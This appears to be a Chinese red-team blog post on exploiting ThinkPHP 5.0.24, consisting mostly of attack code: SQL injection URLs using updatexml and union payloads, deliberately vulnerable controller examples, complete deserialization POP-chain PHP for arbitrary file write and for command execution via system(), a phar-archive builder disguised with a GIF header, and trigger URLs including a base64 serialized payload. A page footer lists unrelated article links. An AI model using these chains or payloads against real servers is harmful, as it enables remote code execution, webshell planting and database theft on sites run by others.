• thinkphp5 注入 反序列化写文件 phar反序列化


    原文出处:

    红队攻击第3篇 thinkphp5框架 注入 反序列化写文件 phar反序列化 (qq.com)

    1.SQL注入1

    1. namespace app\index\controller;
    2. use think\Db;
    3. class Index
    4. {
    5. //sqli注入
    6. public function test3(){
    7. echo "test3";
    8. $id = input('id');
    9. $result = Db::name('users')->where("id = {$id}")->select();
    10. echo "
      ";
    11. var_dump($result);
    12. echo "
    ";
  • }
  • }
    1. http://www.tp5024.com/index.php/index/index/test3/id/1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)

    2.SQL注入2

    1. namespace app\index\controller;
    2. use think\Db;
    3. class Index
    4. {
    5. public function index(){
    6. $username = request()->get('username');
    7. $result = db('users')->where('username','exp',$username)->select();
    8. echo "
      ";
    9. var_dump($result);
    10. echo "
    ";
  • }
  • }
    1. http://www.tp123.com/index.php?m=index&c=index&username=)%20union%20select%20updatexml(1,concat(0x7,user(),0x7e),1)%23

     3.thinkphp5 反序列化写文件
    这里就以 thinkphp5.0.24 这个版本 其他版本大同小异

    1. namespace think\process\pipes{
    2. use think\model\Pivot;
    3. use think\cache\driver\Memcached;
    4. class Windows{
    5. private $files = [];
    6. public function __construct($path,$data)
    7. {
    8. $this->files = [new Pivot($path,$data)];
    9. }
    10. }
    11. $data = base64_encode('');
    12. echo "tp5.0.24 write file pop Chain\n";
    13. echo "The '=' cannot exist in the data,please check:".$data."\n";
    14. $path = 'php://filter/convert.base64-decode/resource=./';
    15. $aaa = new Windows($path,$data);
    16. echo base64_encode(serialize($aaa));
    17. echo "\n";
    18. echo 'filename:'.md5('tag_'.md5(true)).'.php';
    19. }
    20. namespace think{
    21. abstract class Model
    22. {}
    23. }
    24. namespace think\model{
    25. use think\Model;
    26. class Pivot extends Model
    27. {
    28. protected $append = [];
    29. protected $error;
    30. public $parent;
    31. public function __construct($path,$data)
    32. {
    33. $this->append['jelly'] = 'getError';
    34. $this->error = new relation\BelongsTo($path,$data);
    35. $this->parent = new \think\console\Output($path,$data);
    36. }
    37. }
    38. abstract class Relation
    39. {}
    40. }
    41. namespace think\model\relation{
    42. use think\db\Query;
    43. use think\model\Relation;
    44. abstract class OneToOne extends Relation
    45. {}
    46. class BelongsTo extends OneToOne
    47. {
    48. protected $selfRelation;
    49. protected $query;
    50. protected $bindAttr = [];
    51. public function __construct($path,$data)
    52. {
    53. $this->selfRelation = false;
    54. $this->query = new Query($path,$data);
    55. $this->bindAttr = ['a'.$data];
    56. }
    57. }
    58. }
    59. namespace think\db{
    60. use think\console\Output;
    61. class Query
    62. {
    63. protected $model;
    64. public function __construct($path,$data)
    65. {
    66. $this->model = new Output($path,$data);
    67. }
    68. }
    69. }
    70. namespace think\console{
    71. use think\session\driver\Memcache;
    72. class Output
    73. {
    74. protected $styles = [];
    75. private $handle;
    76. public function __construct($path,$data)
    77. {
    78. $this->styles = ['getAttr'];
    79. $this->handle = new Memcache($path,$data);
    80. }
    81. }
    82. }
    83. namespace think\session\driver{
    84. use think\cache\driver\File;
    85. use think\cache\driver\Memcached;
    86. class Memcache
    87. {
    88. protected $handler = null;
    89. protected $config = [
    90. 'expire' => '',
    91. 'session_name' => '',
    92. ];
    93. public function __construct($path,$data)
    94. {
    95. $this->handler = new Memcached($path,$data);
    96. }
    97. }
    98. }
    99. namespace think\cache\driver{
    100. class Memcached
    101. {
    102. protected $handler;
    103. protected $tag;
    104. protected $options = [];
    105. public function __construct($path,$data)
    106. {
    107. $this->options = ['prefix' => ''];
    108. $this->handler = new File($path,$data);
    109. $this->tag = true;
    110. }
    111. }
    112. }
    113. namespace think\cache\driver{
    114. class File
    115. {
    116. protected $options = [];
    117. protected $tag;
    118. public function __construct($path,$data)
    119. {
    120. $this->tag = false;
    121. $this->options = [
    122. 'expire' => 0,
    123. 'cache_subdir' => false,
    124. 'prefix' => '',
    125. 'path' => $path,
    126. 'data_compress' => false,
    127. ];
    128. }
    129. }
    130. }

     在代码审计里如果发现unserialize这个函数传入的参数可控 就可以进行利用了 通常的情况下 是
    unserialize(加密函数(传入值)) 这种模式居多  这里就以这个为例子。

    1. namespace app\index\controller;
    2. class Index
    3. {
    4. public function index()
    5. {
    6. return "thinkphp 5.0.24";
    7. }
    8. //反序列化
    9. public function test1(){
    10. $id = unserialize(base64_decode($_GET['data']));
    11. var_dump($id);
    12. }
    13. //反序列化 phar
    14. public function test2(){
    15. echo file_get_contents($_GET['file']);
    16. }
    17. }
    http://www.tp5024.com/index.php/index/index/test1?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJqZWxseSI7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086MzA6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEJlbG9uZ3NUbyI6Mzp7czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MjM6InRoaW5rXGNhY2hlXGRyaXZlclxGaWxlIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjU6e3M6NjoiZXhwaXJlIjtpOjA7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2O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nMiO2E6MTp7czo2OiJwcmVmaXgiO3M6MDoiIjt9fXM6OToiACoAY29uZmlnIjthOjI6e3M6NjoiZXhwaXJlIjtzOjA6IiI7czoxMjoic2Vzc2lvbl9uYW1lIjtzOjA6IiI7fX19fX19

     4.thinkphp5 phar反序列化  
    首先 php里要关闭这个只读模式

    thinkphp5.0.24 还有其他链子

    1. namespace think\process\pipes{
    2. use think\model\Pivot;
    3. ini_set('display_errors',1);
    4. class Windows{
    5. private $files = [];
    6. public function __construct($function,$parameter)
    7. {
    8. $this->files = [new Pivot($function,$parameter)];
    9. }
    10. }
    11. $aaa = new Windows('system','whoami');
    12. echo base64_encode(serialize($aaa));
    13. }
    14. namespace think{
    15. abstract class Model
    16. {}
    17. }
    18. namespace think\model{
    19. use think\Model;
    20. use think\console\Output;
    21. class Pivot extends Model
    22. {
    23. protected $append = [];
    24. protected $error;
    25. public $parent;
    26. public function __construct($function,$parameter)
    27. {
    28. $this->append['jelly'] = 'getError';
    29. $this->error = new relation\BelongsTo($function,$parameter);
    30. $this->parent = new Output($function,$parameter);
    31. }
    32. }
    33. abstract class Relation
    34. {}
    35. }
    36. namespace think\model\relation{
    37. use think\db\Query;
    38. use think\model\Relation;
    39. abstract class OneToOne extends Relation
    40. {}
    41. class BelongsTo extends OneToOne
    42. {
    43. protected $selfRelation;
    44. protected $query;
    45. protected $bindAttr = [];
    46. public function __construct($function,$parameter)
    47. {
    48. $this->selfRelation = false;
    49. $this->query = new Query($function,$parameter);
    50. $this->bindAttr = [''];
    51. }
    52. }
    53. }
    54. namespace think\db{
    55. use think\console\Output;
    56. class Query
    57. {
    58. protected $model;
    59. public function __construct($function,$parameter)
    60. {
    61. $this->model = new Output($function,$parameter);
    62. }
    63. }
    64. }
    65. namespace think\console{
    66. use think\session\driver\Memcache;
    67. class Output
    68. {
    69. protected $styles = [];
    70. private $handle;
    71. public function __construct($function,$parameter)
    72. {
    73. $this->styles = ['getAttr'];
    74. $this->handle = new Memcache($function,$parameter);
    75. }
    76. }
    77. }
    78. namespace think\session\driver{
    79. use think\cache\driver\Memcached;
    80. class Memcache
    81. {
    82. protected $handler = null;
    83. protected $config = [
    84. 'expire' => '',
    85. 'session_name' => '',
    86. ];
    87. public function __construct($function,$parameter)
    88. {
    89. $this->handler = new Memcached($function,$parameter);
    90. }
    91. }
    92. }
    93. namespace think\cache\driver{
    94. use think\Request;
    95. class Memcached
    96. {
    97. protected $handler;
    98. protected $options = [];
    99. protected $tag;
    100. public function __construct($function,$parameter)
    101. {
    102. // pop链中需要prefix存在,否则报错
    103. $this->options = ['prefix' => 'jelly/'];
    104. $this->tag = true;
    105. $this->handler = new Request($function,$parameter);
    106. }
    107. }
    108. }
    109. namespace think{
    110. class Request
    111. {
    112. protected $get = [];
    113. protected $filter;
    114. public function __construct($function,$parameter)
    115. {
    116. $this->filter = $function;
    117. $this->get = ["jelly"=>$parameter];
    118. }
    119. }
    120. }

     这个是命令执行的 将它改成 phar 生成的包

    1. namespace think\process\pipes{
    2. use think\model\Pivot;
    3. ini_set('display_errors',1);
    4. class Windows{
    5. private $files = [];
    6. public function __construct($function,$parameter)
    7. {
    8. $this->files = [new Pivot($function,$parameter)];
    9. }
    10. }
    11. }
    12. namespace {
    13. use think\process\pipes\Windows;
    14. $data= new Windows('system', 'whoami');
    15. unlink('exp2.phar');
    16. $phar = new Phar('exp2.phar');
    17. $phar -> stopBuffering();
    18. $phar->setStub("GIF89a"."");//设置stub
    19. $phar -> addFromString('test.txt','test');
    20. $object = $data;
    21. $phar -> setMetadata($object);
    22. $phar -> stopBuffering();
    23. }
    24. namespace think{
    25. abstract class Model
    26. {}
    27. }
    28. namespace think\model{
    29. use think\Model;
    30. use think\console\Output;
    31. class Pivot extends Model
    32. {
    33. protected $append = [];
    34. protected $error;
    35. public $parent;
    36. public function __construct($function,$parameter)
    37. {
    38. $this->append['jelly'] = 'getError';
    39. $this->error = new relation\BelongsTo($function,$parameter);
    40. $this->parent = new Output($function,$parameter);
    41. }
    42. }
    43. abstract class Relation
    44. {}
    45. }
    46. namespace think\model\relation{
    47. use think\db\Query;
    48. use think\model\Relation;
    49. abstract class OneToOne extends Relation
    50. {}
    51. class BelongsTo extends OneToOne
    52. {
    53. protected $selfRelation;
    54. protected $query;
    55. protected $bindAttr = [];
    56. public function __construct($function,$parameter)
    57. {
    58. $this->selfRelation = false;
    59. $this->query = new Query($function,$parameter);
    60. $this->bindAttr = [''];
    61. }
    62. }
    63. }
    64. namespace think\db{
    65. use think\console\Output;
    66. class Query
    67. {
    68. protected $model;
    69. public function __construct($function,$parameter)
    70. {
    71. $this->model = new Output($function,$parameter);
    72. }
    73. }
    74. }
    75. namespace think\console{
    76. use think\session\driver\Memcache;
    77. class Output
    78. {
    79. protected $styles = [];
    80. private $handle;
    81. public function __construct($function,$parameter)
    82. {
    83. $this->styles = ['getAttr'];
    84. $this->handle = new Memcache($function,$parameter);
    85. }
    86. }
    87. }
    88. namespace think\session\driver{
    89. use think\cache\driver\Memcached;
    90. class Memcache
    91. {
    92. protected $handler = null;
    93. protected $config = [
    94. 'expire' => '',
    95. 'session_name' => '',
    96. ];
    97. public function __construct($function,$parameter)
    98. {
    99. $this->handler = new Memcached($function,$parameter);
    100. }
    101. }
    102. }
    103. namespace think\cache\driver{
    104. use think\Request;
    105. class Memcached
    106. {
    107. protected $handler;
    108. protected $options = [];
    109. protected $tag;
    110. public function __construct($function,$parameter)
    111. {
    112. // pop链中需要prefix存在,否则报错
    113. $this->options = ['prefix' => 'jelly/'];
    114. $this->tag = true;
    115. $this->handler = new Request($function,$parameter);
    116. }
    117. }
    118. }
    119. namespace think{
    120. class Request
    121. {
    122. protected $get = [];
    123. protected $filter;
    124. public function __construct($function,$parameter)
    125. {
    126. $this->filter = $function;
    127. $this->get = ["jelly"=>$parameter];
    128. }
    129. }
    130. }

     

    找个地方上传 审计文件操作函数 然后传入就可以了。

    一般的方法是上传图片 再用phar访问就能触发了

    1. http://www.tp5024.com/index.php/index/index/test2?file=phar://exp2.gif/test.txt

     

  • 相关阅读:
    STM32F1课程学习
    CSS 语法
    pytorch神经网络工具箱
    面试官:小伙子你来介绍一下MyBatis
    数字化工厂建设方案探讨
    3.1网安学习第三阶段第一周回顾(个人学习记录使用)
    企业经营中如何降本增效,消灭内耗?
    go的解析命令行库go-flags
    深度学习:维度灾难(Curse Of Dimensionality)
    SQL Server 基础语法2(超详细!)
  • 原文地址:https://blog.csdn.net/weixin_57567655/article/details/127097871